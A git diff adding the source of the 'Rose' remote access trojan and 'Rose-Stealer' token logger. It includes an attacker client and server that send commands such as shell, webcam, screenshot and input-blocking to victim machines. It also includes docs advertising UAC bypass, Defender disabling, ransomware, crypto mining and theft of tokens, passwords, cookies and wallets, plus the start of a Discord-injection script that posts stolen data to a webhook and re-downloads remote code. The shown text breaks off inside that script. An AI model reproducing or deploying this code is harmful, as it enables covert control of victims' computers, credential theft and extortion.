on_disconnect(self, **kwargs): + ip = kwargs.get('ip') + username = kwargs.get('username') + server = kwargs.get('server') + webhook = kwargs.get('webhook') + avatar = kwargs.get('avatar') + footer = kwargs.get('footer') + sid = kwargs.get('sid') + + embed = Embed( + description='Victim disconnected from the server', + color=16399677, + timestamp='now' # sets the timestamp to current time + ) + + embed.set_author(name="Discord RAT Disconnected!", icon_url=avatar) + embed.set_footer(text=footer, icon_url=avatar) + embed.add_field(name="IP:", value=f'`{ip}`') + embed.add_field(name="Name", value=f'`{username}`') + embed.add_field(name='Server:', value=f'[{server}]({server})') + embed.add_field(name='Client ID:', value=f'`{sid}`') + + webx = web(webhook) + webx.send(embed=embed) \ No newline at end of file diff --git a/Rose-Remote-Access-Trojan/attacker_client.py b/Rose-Remote-Access-Trojan/attacker_client.py new file mode 100644 index 0000000..c14933d --- /dev/null +++ b/Rose-Remote-Access-Trojan/attacker_client.py @@ -0,0 +1,236 @@ +from pystyle import Colors, Colorate, Center, Box, Write + +import os +import ctypes +import time + +import socketio +import webbrowser + +import json + +import threading + +__version__ = "1.0" + +#with open("config.json", "r") as f: +# config = json.load(f) +# server_url = config["server_url"] + +import logging + +logging.basicConfig( + level=logging.DEBUG, + filename='attacker_client.log', + filemode='a', + format='[%(filename)s:%(lineno)d] - %(asctime)s - %(levelname)s - %(message)s' +) + +logger = logging.getLogger(__name__) + +server_url = Write.Input(" .$ Your server URL ? (should contains https://)", Colors.red_to_white, interval=0.025) +logger.info(f"Attacker using URL {server_url}") + +os.system('cls') +ctypes.windll.kernel32.SetConsoleTitleW(f"Rose Client | v{__version__}") +banner = """ +OooOOo. +o `o +O O +o .O +OOooOO' .oOo. .oOo .oOo. +o o O o `Ooo. OooO' +O O o O O O +O o `OoO' `OoO' `OoO' +""" + +def start_attacker_screenshare(): + def to_execute(): + import eventlet + import socketio + from threading import Thread + from zlib import decompress + + from mss import mss + import pygame + + WIDTH = 1900 + HEIGHT = 1000 + + _sio = socketio.Client() + pygame.init() + screen = pygame.display.set_mode((WIDTH, HEIGHT)) + clock = pygame.time.Clock() + + pygame.display.set_caption('Rose - Screenshare client - made by xpierroz') + + + @_sio.event + def connect(): + print('screenshare attacker client connected') + _sio.emit("iam_attacker") + + _sio.connect(server_url) + + done = False + while not done: + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + + @_sio.event + def receiving_screenshot(data): + #msize_len = data['data']['size_len'] + #msize_bytes = data['data']['size_bytes'] + mpixels = data['data']['pixels'] + pixels = decompress(mpixels) + + # Create the Surface from raw pixels + img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB') + + # Display the picture + screen.blit(img, (0, 0)) + pygame.display.flip() + clock.tick(60) + + t = threading.Thread(target=to_execute) + t.run() + +class Connected(): + def __init__(self): + self.client_connected = 0 + + def change(self, number): + self.client_connected = number + + def get(self): + logger.debug(f"Getting number of connected clients: {self.client_connected}") + return self.client_connected + +class Serv(): + sio = socketio.Client() + def __init__(self, url): + self.command = Command() + self.v = __version__ + self._cmd = Command() + self.url = url + self._cmd = Command() + self._connected = Connected() + + def _cls(self): + os.system('cls') + + def home(self): + self._cls() + print(Colorate.Horizontal(Colors.red_to_white, Center.XCenter(banner))) + print('\n') + print(Colorate.Horizontal(Colors.red_to_white, Box.Lines(f'Attacker Client | v{__version__} | {self._connected.get()} Clients Connected'))) + print('\n') + self.loop() + + def not_valid(self, cmd): + logger.error(f"{cmd} - invalid command") + print(Colorate.Horizontal(Colors.red_to_white, f" .X {cmd} is not a valid command. Type 'help' for more info.")) + time.sleep(2) + self.home() + + def setup(self): + self.call_backs() + self.sio.connect(self.url) + self.sio.emit("number_connected") + time.sleep(1) #Wait for the server to send the number of clients connected before loading the UI + self.home() + + def loop(self): + while True: + self.sio.emit("number_connected") + cmd = Write.Input("\n .$ ", Colors.red_to_white, interval=0.025) + if cmd == "help": + valid_commands = self.command.valid + print(Colorate.Horizontal(Colors.red_to_white, f" Valid commands:")) + for command in valid_commands: + print(Colorate.Horizontal(Colors.red_to_white, f" - {command}")) + print(Colorate.Horizontal(Colors.red_to_white, f" Press Enter to continue...")) + input() + self.home() + + elif cmd == "exit": + exit() + + else: + if not self._cmd.is_valid(cmd): + self.not_valid(cmd) + sid = Write.Input(" .$ SID ? ", Colors.red_to_white, interval=0.025) + try: + self.sio.emit( + 'send_command', + {"data": + {"command": cmd, + "sid": sid + } + } + ) + if cmd == "screenshare": + start_attacker_screenshare() + print(Colorate.Horizontal(Colors.green_to_white, f' .$ Command Sent to {sid}')) + except Exception as e: #Print command failed in red + print(Colorate.Horizontal(Colors.red_to_white, f' .$ Command Failed to {sid}')) + print(Colorate.Horizontal(Colors.red_to_white, f' .$ Advanced logs: {e}')) + time.sleep(2) + self.home(self._connected.get()) + + + def call_backs(self): + @self.sio.event + def connect(): + self.sio.emit('client_connect', {"data": "Attacker Client Connected"}) + + @self.sio.event + def all_sessions(data): + self._connected.change(data['data']) + ctypes.windll.kernel32.SetConsoleTitleW(f"Rose Client | v{__version__} | {self._connected.get()} Clients Connected") + + @self.sio.event + def auth(data): + print(f"Data Received {data}") + + @self.sio.event + def disconnect(): + print('disconnected from server') + + def run(self): + self.setup() + +class Command(): + def __init__(self): + self.valid = [ + 'messagebox', + 'shell', + 'webcampic', + 'voice', + 'admincheck', + 'sysinfo', + 'history', + 'write', + 'wallpaper', + 'clipboard', + 'geolocate', + 'volumemax', + 'volumezero', + 'blockinput', + 'unblockinput', + 'screenshot', + 'kill', + 'screenshare' + ] + + def is_valid(self, command): + try: + command = command.split(' ')[0] + except Exception: + pass + return any(command == j for j in self.valid) + + +ss = Serv(server_url) +ss.run() \ No newline at end of file diff --git a/Rose-Remote-Access-Trojan/index.html b/Rose-Remote-Access-Trojan/index.html new file mode 100644 index 0000000..c28de58 --- /dev/null +++ b/Rose-Remote-Access-Trojan/index.html @@ -0,0 +1,11 @@ + + + + + + + Rose RAT + + + + \ No newline at end of file diff --git a/Rose-Remote-Access-Trojan/main.py b/Rose-Remote-Access-Trojan/main.py new file mode 100644 index 0000000..89e6b1a --- /dev/null +++ b/Rose-Remote-Access-Trojan/main.py @@ -0,0 +1,82 @@ +import eventlet +import socketio +import _webhook +import _data + +sio = socketio.Server() +app = socketio.WSGIApp(sio, + static_files={ + '/': { + 'content_type': 'text/html', + 'filename': 'index.html' + } + }) + +web = _webhook.Weboh() +db = _data.DatabaseX() + + +def save_sid(sid, ip, username, server, webhook, avatar, footer): + db.enter_values(sid, ip, username, server, webhook, avatar, footer) + + +def disconnect_sid(sid): + db.delete_sid(sid) + +@sio.event +def sending_screenshot(sid, data): + print(f'{sid} - sending screenshot') + sio.emit('receiving_screenshot', {'data': data['data']}) + +@sio.event +def send_command(sid, data): + dicx = data['data'] + sio.emit('receive_command', {'data': dicx["command"]}, room=dicx["sid"]) + + +@sio.event +def connect(sid, environ): + print(f'{sid} - connected') + + +@sio.event +def client_connect(sid, data): + print("Attacker Connected", data) + +@sio.event +def number_connected(sid): #Return the number of connected clients + number = db.get_sessions() + sio.emit("all_sessions", {"data": number}, room=sid) + +@sio.event +def rose_connect(sid, rose_data): + f = rose_data['data'] + web.on_connect(ip=f['ip'], + username=f['username'], + server=f['server'], + webhook=f['webhook'], + avatar=f['avatar'], + footer=f['footer'], + sid=sid) + save_sid(sid, f['ip'], f['username'], f['server'], f['webhook'], + f['avatar'], f['footer']) + + +@sio.event +def disconnect(sid): + print('disconnect ', sid) + f = db.get_all(sid) + if f is None: + return + web.on_disconnect(ip=f[1], + username=f[2], + server=f[3], + webhook=f[4], + avatar=f[5], + footer=f[6], + sid=sid) + disconnect_sid(sid) + + +if __name__ == '__main__': + eventlet.wsgi.server(eventlet.listen(('', 5000)), app) diff --git a/Rose-Remote-Access-Trojan/readme/Rose.jpeg b/Rose-Remote-Access-Trojan/readme/Rose.jpeg new file mode 100644 index 0000000..4c63c7f Binary files /dev/null and b/Rose-Remote-Access-Trojan/readme/Rose.jpeg differ diff --git a/Rose-Remote-Access-Trojan/readme/attacker_client.png b/Rose-Remote-Access-Trojan/readme/attacker_client.png new file mode 100644 index 0000000..bf487b2 Binary files /dev/null and b/Rose-Remote-Access-Trojan/readme/attacker_client.png differ diff --git a/Rose-Remote-Access-Trojan/readme/events.png b/Rose-Remote-Access-Trojan/readme/events.png new file mode 100644 index 0000000..aeee31c Binary files /dev/null and b/Rose-Remote-Access-Trojan/readme/events.png differ diff --git a/Rose-Remote-Access-Trojan/readme/exemple_command.png b/Rose-Remote-Access-Trojan/readme/exemple_command.png new file mode 100644 index 0000000..c7e71f4 Binary files /dev/null and b/Rose-Remote-Access-Trojan/readme/exemple_command.png differ diff --git a/Rose-Remote-Access-Trojan/requirements.txt b/Rose-Remote-Access-Trojan/requirements.txt new file mode 100644 index 0000000..285a434 --- /dev/null +++ b/Rose-Remote-Access-Trojan/requirements.txt @@ -0,0 +1,3 @@ +dhooks +python-socketio +eventlet \ No newline at end of file diff --git a/Rose-Remote-Access-Trojan/sessions.db b/Rose-Remote-Access-Trojan/sessions.db new file mode 100644 index 0000000..9fcfbc3 Binary files /dev/null and b/Rose-Remote-Access-Trojan/sessions.db differ diff --git a/Rose-Stealerv1/.bandit b/Rose-Stealerv1/.bandit new file mode 100644 index 0000000..f842dfe --- /dev/null +++ b/Rose-Stealerv1/.bandit @@ -0,0 +1,2 @@ +[bandit] +skips = B605, B607 \ No newline at end of file diff --git a/Rose-Stealerv1/.deepsource.toml b/Rose-Stealerv1/.deepsource.toml new file mode 100644 index 0000000..c3e522e --- /dev/null +++ b/Rose-Stealerv1/.deepsource.toml @@ -0,0 +1,10 @@ +version = 1 + +[[analyzers]] +name = "javascript" + +[[analyzers]] +name = "python" + + [analyzers.meta] + runtime_version = "3.x.x" \ No newline at end of file diff --git a/Rose-Stealerv1/.github/ISSUE_TEMPLATE/bug_report.md b/Rose-Stealerv1/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 0000000..b230c17 --- /dev/null +++ b/Rose-Stealerv1/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,38 @@ +--- +name: Bug report +about: Create a report to help us improve +title: '' +labels: '' +assignees: '' + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +Steps to reproduce the behavior: +1. Go to '...' +2. Click on '....' +3. Scroll down to '....' +4. See error + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**Desktop (please complete the following information):** + - OS: [e.g. iOS] + - Browser [e.g. chrome, safari] + - Version [e.g. 22] + +**Smartphone (please complete the following information):** + - Device: [e.g. iPhone6] + - OS: [e.g. iOS8.1] + - Browser [e.g. stock browser, safari] + - Version [e.g. 22] + +**Additional context** +Add any other context about the problem here. diff --git a/Rose-Stealerv1/.github/ISSUE_TEMPLATE/feature_request.md b/Rose-Stealerv1/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 0000000..25fe61c --- /dev/null +++ b/Rose-Stealerv1/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,20 @@ +--- +name: Feature request +about: Suggest an idea for this project +title: '' +labels: '' +assignees: '' + +--- + +**Is your feature request related to a problem? Please describe.** +A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + +**Describe the solution you'd like** +A clear and concise description of what you want to happen. + +**Describe alternatives you've considered** +A clear and concise description of any alternative solutions or features you've considered. + +**Additional context** +Add any other context or screenshots about the feature request here. diff --git a/Rose-Stealerv1/.gitignore b/Rose-Stealerv1/.gitignore new file mode 100644 index 0000000..d2e0779 --- /dev/null +++ b/Rose-Stealerv1/.gitignore @@ -0,0 +1,160 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/#use-with-ide +.pdm.toml + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ diff --git a/Rose-Stealerv1/LICENSE b/Rose-Stealerv1/LICENSE new file mode 100644 index 0000000..154af25 --- /dev/null +++ b/Rose-Stealerv1/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 Gum-s + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Rose-Stealerv1/README.md b/Rose-Stealerv1/README.md new file mode 100644 index 0000000..2600ddc --- /dev/null +++ b/Rose-Stealerv1/README.md @@ -0,0 +1,88 @@ +

+
+ + R + +
+

+ +
+ + Join our Discord + + + Join our Telegram + +
+
+ Top Languages + Stars +
+ Commit Activity + Last Commit +
+ Open Issues + Closed Issues +
+
+ +
+ +
+

+ Python-Powered Discord Token Logger: Max Stealth, Minimal Detection, and a Gorgeous UI Builder! +

+
+ +### ⚠️ The development team is working on a full rewrite and an entire new version for Rose currently. This one will not receive updates anymore and a new repository is going to get created soon. +### We are looking forward to stable release the rewritten version soon. You can check the devwork out at the [new repository](https://github.com/0xrose/Rose-Stealer_old). + +### Features + +A list of features can be found in our [documentation](https://github.com/0xrose/Rose-Stealer_old/tree/main/docs/FEATURES.md). + +### Disclaimer + +This tool is explicitly designed and provided exclusively for educational intentions. Its primary objective is to illuminate the vulnerabilities that files can be susceptible to, highlighting the need for proactive security measures. It is imperative that this tool is never leveraged for any illegal, unauthorized, or malicious undertakings. Under no circumstances will I assume liability for any detrimental consequences inflicted upon your computing infrastructure. I hereby absolve myself from any complicity in activities of an illicit nature. Emphatically, this tool's utility is confined to didactic objectives. + +Please be cognizant of the fact that nestled within the intricate architecture of this tool is an elaborate mechanism with latent potential, which, if wielded in an iniquitous manner, could conceivably lead to the illicit acquisition of Discord Nitro privileges through the exploitation of compromised accounts. Nevertheless, I vehemently discourage any endeavor to explore or exploit this covert facet for personal enrichment or unscrupulous exploits. The primary rationale behind divulging this concealed facet is to underscore the paramount importance of fortifying personal data security and adhering to the ethical deployment of technological instruments. + +### Setup + +**Before proceeding, briefly disable your antivirus to avoid accidental removal of important components. Install Python properly, ensuring it's added to PATH. Preferably, use Python 3.11 and uninstall other versions. Thanks!** +- Download repository [here](https://github.com/0xrose/Rose-Stealer_old/archive/refs/heads/main.zip). +- Extract the zip file. +- Launch UI by executing [`build.bat`](https://github.com/0xrose/Rose-Stealer_old/blob/main/build.bat). + +### Problems? Get help! + +**You can contact us here:** +- [Telegram](https://t.me/gumbobr0t) +- [Discord](https://discord.gg/sMawrDqnta) +- [Issues](https://github.com/0xrose/Rose-Stealer_old/issues) + +### Docs + +For more guidance on e.g. the rats or the builder, you should check out the [docs](https://github.com/0xrose/Rose-Stealer_old/tree/main/docs) folder. + +### Changelog + +The changelog history can be found in our [documentation](https://github.com/0xrose/Rose-Stealer_old/tree/main/docs/CHANGELOG.md). + +### Credits + +- [xpierroz](https://github.com/xpierroz) +- [killer](https://github.com/Minecraftkillir) +- [Smug246](https://github.com/Smug246) +- [addi00000](https://github.com/addi00000) +- [Rdimo](https://github.com/Rdimo) +- [loTus04](https://github.com/loTus04) +- [suvan1911](https://github.com/suvan1911) +- [suegdu](https://github.com/suenerve) +- [blank](https://github.com/blank-c) +- [something-0001](https://github.com/smth.py) +- [rud3p](https://github.com/rud3p) + +### Thanks 💞 + +[![Star History Chart](https://api.star-history.com/svg?repos=0xrose/Rose-Stealer_old&type=Date)](https://star-history.com/#0xrose/Rose-Stealer_old&Date) diff --git a/Rose-Stealerv1/build.bat b/Rose-Stealerv1/build.bat new file mode 100644 index 0000000..0b7887e --- /dev/null +++ b/Rose-Stealerv1/build.bat @@ -0,0 +1,35 @@ +@echo off +color 4 +setlocal EnableDelayedExpansion +title Looking for Python... + +where python >nul 2>nul +if errorlevel 1 ( + echo Python is not installed. Please install it over this link, but also make sure to add it to PATH. Then restart this file. + echo https://www.python.org/ftp/python/3.11.6/python-3.11.6-amd64.exe + + pause + exit +) else ( + echo Python is installed. +) + +title Creating venv... +echo Creating venv... +python -m venv rosevenv + +title Entering venv... +echo Entering venv... +call rosevenv\Scripts\activate + +title Installing packages... +echo Installing packages... +echo This may take a while. Be pacient! +python -m pip install --upgrade --ignore-installed -r resources\data\requirements.txt + +title Starting builder... +echo Starting builder... +start /min cmd.exe /c "python resources\ui\builder.py" + +endlocal +pause diff --git a/Rose-Stealerv1/docs/CHANGELOG.md b/Rose-Stealerv1/docs/CHANGELOG.md new file mode 100644 index 0000000..52e54d6 --- /dev/null +++ b/Rose-Stealerv1/docs/CHANGELOG.md @@ -0,0 +1,80 @@ +- **2.3 (2023-12-19)** + - Added more browser paths + - Added more roblox browser methods + - Added base code for methods + - Added XMR Miner + - Added Knight-RAT documentation + - Added wd exclusion cmd + - Added obfuscation + - Fixed UAC bypass + - Fixed Knight-RAT commands + - Fixed builder + - Fixed Ransomware + - Knight RAT refactor + - Restructured logging system + - Restructured documentation and readme + - Rewrote startup script + (Update by gumbobr0t) + +- **2.2 (2023-10-20)** + - Added bsod on run + - Added batch fork bomb + - Added block sites [unblocker](https://github.com/rose-dll/Rose-Stealer/tree/main/resources/utils) + - Added block protectors (e.g. anti-viruses, firewalls etc.) + - Fixed UAC bypass + - Fixed system information + - Reordered folder structure + (Fixed by gumbobr0t) + +- **2.1 (2023-10-18)** + - Fixed system information hanging and restarting the process over and over. (py-cpuinfo -> wmi package) + - Fixed the executable dying because of a shitty import. (__webhook.py --> webhook.py) + - Removed unused libraries from some of the files. + - Ransomware Key is deleted from memory once it's used up fully. + - Better formating of HWID, Power, and Screen information. + - Handling of empty lists in the power and WiFi variables for future error prevention. + (Hardfix by something-0001) + +- **2.0 (2023-10-02)** + - Added hidden path to browser and more + - Fixed wifi password stealing + - Fixed ransomware + - Fixed webcam stealing + - Rewrote embeds for discordc class, screenshot and webcam now embedded inside of message + - Added Exodus, Telegram, Steam, Minecraft, Uplay and Epic Games session stealing + - Fixed install and start script + - Fixed antivm not exiting correctly + +- **1.9 (2023-09-12)** + - Rewrote ransomware, changed payment to monero + - Added ransomware decrypter to [components/tools](https://github.com/rose-dll/Rose-Stealer/tree/main/resources/utils) + - Fixed startup + - Fixed builder (cleanup, upx, returnzip) + - Rewrote/Fixed install and start script + +- **1.8 (2023-09-02)** + - Added spread malware on discord feature + - Added additional error handling + - Added other UPX compression + - Added extension spoofer + - Fixed builder not showing compile CMD + +- **1.7 (2023-08-14)** + - Added ransomware + - Fixed return zip file + +- **1.6 (2023-08-14)** + - Added Anti-VM + - Added UAC bypass + - Added better icon selection in builder + - Fixed browser stealing + +- **1.5 (2023-08-10)** + - Improved obfuscation and file type selection + - Added log buttons and file pumper + +- **1.4 (2023-08-09)** + - Added custom icon support and file pumper + - Fixed Windows Defender detection + +- ... diff --git a/Rose-Stealerv1/docs/FEATURES.md b/Rose-Stealerv1/docs/FEATURES.md new file mode 100644 index 0000000..50de83b --- /dev/null +++ b/Rose-Stealerv1/docs/FEATURES.md @@ -0,0 +1,43 @@ +## Features + +| Feature | Description | Status | +|---------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------| +| GUI Builder | Create user-friendly interfaces easily. | Done | +| UAC Bypass | Bypass User Account Control for elevated privileges. | Done | +| Custom Icon | Set a unique icon for your application. | Done | +| Runs On Startup | Automatically start with Windows. | Done | +| Disables Windows Defender | Disable built-in antivirus protection and firewalls. | Done | +| Anti-VM | Detect and evade virtual machine environments. | Done | +| Blocks AV-Related Sites | Prevent access to antivirus websites. Unblocker can be found here [resources/utils](https://github.com/rose-dll/Rose-Stealer/blob/main/resources/utils/unblocker/unblock_sites.py). | Done | +| Melt Stub | Make the malware difficult to detect by self-destructing. | Done | +| Fake Error | Display fake error messages to deceive users. | Done | +| EXE Binder | Combine multiple files into a single executable. | Later | +| File Pumper | Inflate file sizes to hide malicious content. | Done | +| Obfuscated Code | Use code obfuscation techniques for evasion. | Done | +| Discord Injection | Inject code into Discord processes. | Done | +| Steals Discord Tokens | Extract user tokens from Discord. | Done | +| Mass DM Discord Friends | DM's every user on the victims discord accounts friendlist. | Done | +| Steals Steam Session | Gather active Steam sessions. | Done | +| Steals Epic Session | Gather active Epic Games sessions. | Done | +| Steals Uplay Session | Gather active Uplay sessions. | Done | +| Steals Passwords From Many Browsers | Extract stored passwords. | Done | +| Steals Cookies From Many Browsers | Collect browser cookies. | Done | +| Steals History From Many Browsers | Access browsing history. | Done | +| Steals Autofills From Many Browsers | Extract autofill data. | Later | +| Steals Minecraft Session Files | Gather Minecraft session information. | Done | +| Steals Telegram Session Files | Extract Telegram session data. | Done | +| Steals Crypto Wallets | Target cryptocurrency wallets. | Done | +| Steals Roblox Cookies | Gather Roblox-related data. | Done | +| Steals IP Information | Collect IP addresses. | Done | +| Steals System Info | Gather system-specific details. | Done | +| Steals Saved Wifi Passwords | Extract saved Wi-Fi passwords. | Done | +| Steals Common Files | Collect files commonly used for attacks. | Later | +| Captures Screenshot | Take screenshots of the user's desktop. | Done | +| Captures Webcam Image | Access and capture webcam images. | Done | +| Sends All Data Through Discord Webhook | Send stolen data to specified destinations. | Done | +| File Type Selection | Choose between screensaver or executable. | Done | +| Trigger BSOD | Cause a Blue Screen of Death. | Done | +| Freeze Screen | Freeze the user's screen. | Later | +| Spread Malware | Send malicious messages to friends on social media. | Later | +| Crypto Miner | Use the victim's computer for cryptocurrency mining. | Done | +| Ransomware | Forces the victim to pay you a specific amount of USD in Monero or they will lose all their data. Decrypter can be found in [resources/utils](https://github.com/DamagingRose/Rose-Grabber/tree/main/resources/utils/rosedec). | Done | diff --git a/Rose-Stealerv1/docs/KNIGHT.md b/Rose-Stealerv1/docs/KNIGHT.md new file mode 100644 index 0000000..95bfe57 --- /dev/null +++ b/Rose-Stealerv1/docs/KNIGHT.md @@ -0,0 +1,26 @@ +# ⚔️ · 🛡️ · ♞ · 🤺 · 🏰 · 🗡️ · ⚜️ · ⚔ · ♘ + +# Knight Rat: A Beginner's Guide + +## Introduction +Have you ever wondered about Knight Rat and how it operates? Look no further; this guide is here to help you understand the basics of this Python-based remote access trojan. + +## What is Knight Rat? +Knight Rat is a powerful remote access trojan designed in Python, allowing users to gain unauthorized access to a computer and execute various commands. The process involves running a file, executing a predefined set of actions, and establishing a connection through a Discord bot to a remote server, providing full control over the targeted computer. + +## How Does it Work? +In a nutshell, the victim runs the Knight Rat file, which connects to a Discord bot. The bot then attempts to send a message to the designated channel, using a custom-generated rat UID with the ping. By employing the "!clients" command, you can retrieve all connected IDs. Subsequently, you gain control over the targeted computer, with a comprehensive set of commands accessible through "!help." When you want to execute a specific command on a victim you can do it like this ---> **example**: `!screenshot 871623` + +## Preparing the Bot +Before diving into the setup, you must create a bot application on [Discord Developers](https://discord.com/developers/applications). Navigate to the bot tab, enabling all privileged gateway intents. Refer to [this image](https://cdn.discordapp.com/attachments/1180179668498927618/1180981629313880144/image.png?ex=657f65da&is=656cf0da&hm=46c8ba00046c6f165d78b53a7f48480809ab7b3def429cd8dc6fb67256606f44&) for guidance. Once done, invite the bot to your server with administrator permissions, using [this link](https://cdn.discordapp.com/attachments/1180179668498927618/1180982394652737566/image.png?ex=657f6690&is=656cf190&hm=d1ab6a46c1080fffb966aaeda4d09c1ae2942480663fed29369d002098ccb4aa&). + +## Setup +When building a stub with Rose and enabling the Knight Rat feature, fill in the required fields. Reset the bot token, [copy the channel ID](https://www.youtube.com/watch?v=YjiQ7CajAgg) for command operations. Choose a command prefix like "!" or ".", or leave it empty. Congratulations, you've successfully set up Knight Rat! + +### Important Note +Knight Rat is a basic rat designed for .py usage, created for fun with no intention of further updates or improvements. It comes with limited features and a straightforward interface. Do not expect enhancements or fixes, as the author has no plans for future updates. + +## ⚠️ Final Warning +If you find this guide challenging or seek assistance, be warned – any requests for help may result in an immediate ban. The author does not intend to provide support, explanations, or any further assistance. + +**Remember, use this information responsibly and ethically, respecting privacy and legal boundaries.** diff --git a/Rose-Stealerv1/resources/assets/builder.png b/Rose-Stealerv1/resources/assets/builder.png new file mode 100644 index 0000000..bac8379 Binary files /dev/null and b/Rose-Stealerv1/resources/assets/builder.png differ diff --git a/Rose-Stealerv1/resources/assets/rose.png b/Rose-Stealerv1/resources/assets/rose.png new file mode 100644 index 0000000..4cb1b4c Binary files /dev/null and b/Rose-Stealerv1/resources/assets/rose.png differ diff --git a/Rose-Stealerv1/resources/assets/roseloadingscreen.mp4 b/Rose-Stealerv1/resources/assets/roseloadingscreen.mp4 new file mode 100644 index 0000000..3195965 Binary files /dev/null and b/Rose-Stealerv1/resources/assets/roseloadingscreen.mp4 differ diff --git a/Rose-Stealerv1/resources/data/injection.js b/Rose-Stealerv1/resources/data/injection.js new file mode 100644 index 0000000..00f2756 --- /dev/null +++ b/Rose-Stealerv1/resources/data/injection.js @@ -0,0 +1,986 @@ +const args = process.argv; +const fs = require('fs'); +const path = require('path'); +const https = require('https'); +const querystring = require('querystring'); +const { BrowserWindow, session } = require('electron'); + +const config = { + webhook: '%WEBHOOK%', //your discord webhook there obviously or use the api from https://github.com/Rdimo/Discord-Webhook-Protector | Recommend using https://github.com/Rdimo/Discord-Webhook-Protector so your webhook can't be spammed or deleted + webhook_protector_key: '%WEBHOOK_KEY%', //your base32 encoded key IF you're using https://github.com/Rdimo/Discord-Webhook-Protector + auto_buy_nitro: false, //automatically buys nitro for you if they add credit card or paypal or tries to buy nitro themselves + ping_on_run: false, //sends whatever value you have in ping_val when you get a run/login + ping_val: '@everyone', //change to @here or <@ID> to ping specific user if you want, will only send if ping_on_run is true + embed_name: 'Rose-Stealer', //name of the webhook thats gonna send the info + embed_icon: 'https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/assets/Rose.png', //icon for the webhook thats gonna send the info (yes you can have spaces in the url) + embed_color: 16711680, //color for the embed, needs to be hexadecimal (just copy a hex and then use https://www.binaryhexconverter.com/hex-to-decimal-converter to convert it) + injection_url: 'https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/data/obf-injection.js', //injection url for when it reinjects + /** + * @ATTENTION DON'T TOUCH UNDER HERE IF UNLESS YOU'RE MODIFYING THE INJECTION OR KNOW WHAT YOU'RE DOING @ATTENTION + **/ + api: 'https://discord.com/api/v9/users/@me', + nitro: { + boost: { + year: { + id: '521847234246082599', + sku: '511651885459963904', + price: '9999', + }, + month: { + id: '521847234246082599', + sku: '511651880837840896', + price: '999', + }, + }, + classic: { + month: { + id: '521846918637420545', + sku: '511651871736201216', + 